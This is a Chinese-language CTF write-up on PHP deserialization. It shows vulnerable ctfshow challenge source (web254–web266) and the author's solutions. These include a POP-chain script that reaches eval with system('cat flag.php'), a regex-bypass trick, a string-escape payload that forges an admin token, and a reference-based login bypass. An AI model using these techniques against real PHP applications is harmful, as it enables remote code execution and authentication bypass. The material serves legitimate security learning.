通过ctfshow学习php反序列化
通过ctf几道题学习php的反序列化
web254
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
先初始化ctfShowUser类,然后在后面的if中先判断变量是否设置,然后new一个新对象$user,用户输入的参数与$user对比是否一致,所以只需要传入username='xxxxxx'&password='xxxxxx'
实现
payload:username='xxxxxx'&password='xxxxxx'
web255
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
分析
先初始化ctfShowUser类,然后在后面的if中先判断变量是否设置,然后通过反序列化获取对象赋值给$user(序列化将对象保存到字符串,反序列化将字符串恢复为对象),反序列化的值是user的cookie,之后要求checkVip为true,然后执行vipOneKeyGetFlag()得到flag
要让isvip为true才能执行后面的函数得到flag,所以我们要写一个php序列化函数传到cookie,然后经过反序列化由赋值给$user,然后isvip去之前的一致得到flag。注意在cookie字段当中需要url编码一波,其名称以及存储的字符串值是必须经过URL编码
实现
web256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
大部分思路与web255相似,唯一区别在
要求username不等于password。
web257
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
分析
能利用的点是eval函数输出php代码进行命令执行,所以我们需要在初始化backDoor类,然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。
实现
别人的payload(https://y4tacker.blog.csdn.net/article/details/110499314)
web258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
分析
构造pop链时可以用到str_replace函数。在257基础上增加了一串正则表达式。因为正则把O:过滤了,可以利用str_replace函数把O:换成O:+
实现
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:','O:+',$a);
echo urlencode($a);
web259(还不会)
利用的是php原生类SoapClient
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
分析
get传参的值序列化之后要有ctfshow_i_love_36D,所以传ctfshow=ctfshow_i_love_36D
实现
payload:ctfshow=ctfshow_i_love_36D
web262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
//message.php下的源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
分析
在标题注释里面有个message.php 猜测可以试一下 得到以下代码。
在message.php这个页面中,输入msg作为cookie参数然后base64解密再反序列化赋值给$msg,判断token是否等于admin,然后获取flag。 所以第一步我们需要先将$token='admin';序列化得到 O:7:"message":1:{s:5:"token";s:5:"admin";}
我们只需要用到{s:5:"token";s:5:"admin";}这一部分,通俗的讲我们需要构造一个长度跟{s:5:"token";s:5:"admin";}一样的字符串将序列化好的结构打乱,让需要利用的地方通过反序列化函数最后获取flag。通过python可以知道";s:5:"token";s:5:"admin";}的长度(必须要在s:5:"token";s:5:"admin";}前面加上";->";s:5:"token";s:5:"admin";}),
然后通过
这几句话可以知道每出现一个fuck或者loveU可以替换一个字符,一个27个,所以需要构造27个fuck或者loveU,与";s:5:"token";s:5:"admin";}拼接,其他变量何以为任意。这样序列化对应的27为长度在过滤后的序列化会被27个fuck或者loveU填充,从而使我们构造的代码 ;s:5:"token";s:5:"admin";}
成功逃逸。
实现
- 写php脚本
-
构造patyload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
-
访问message.php
然后访问message.php得到flag
web263(php session反序列化漏洞)
分析
session反序列化漏洞过程可以理解为,1.先获取cookie建立连接 2.抓包修改cookie成序列化字符串 3.然后在访问check.php,这样子cookie中的序列化字符串会传入到check.php中实现了命令执行 4.然后访问写入的php文件即可得到flag
还是看大佬们的博客吧
web264
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
分析
思路是跟web262很像,只是在message.php下cookie变成了session。
cookie变成了session, 所以不能直接修改cookie。它需要什么就加什么,需要传一个cookie的msg值,抓包以后在cookie那里加上msg=1就可以了。
过程
web265
php引用符&(https://www.jb51.net/article/174133.htm)
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
实现
class ctfshowAdmin{
public $token = 'a';
public $password = 'a';
public function __construct(){
$this->token = 'a';
$this->password =& $this->token;
}
}
echo serialize(new ctfshowAdmin());
web266
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
实现
php写脚本
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
echo serialize(new ctfshow());
通过post传参。 但是需要注意大小写。 最后两行源码过滤了ctfshow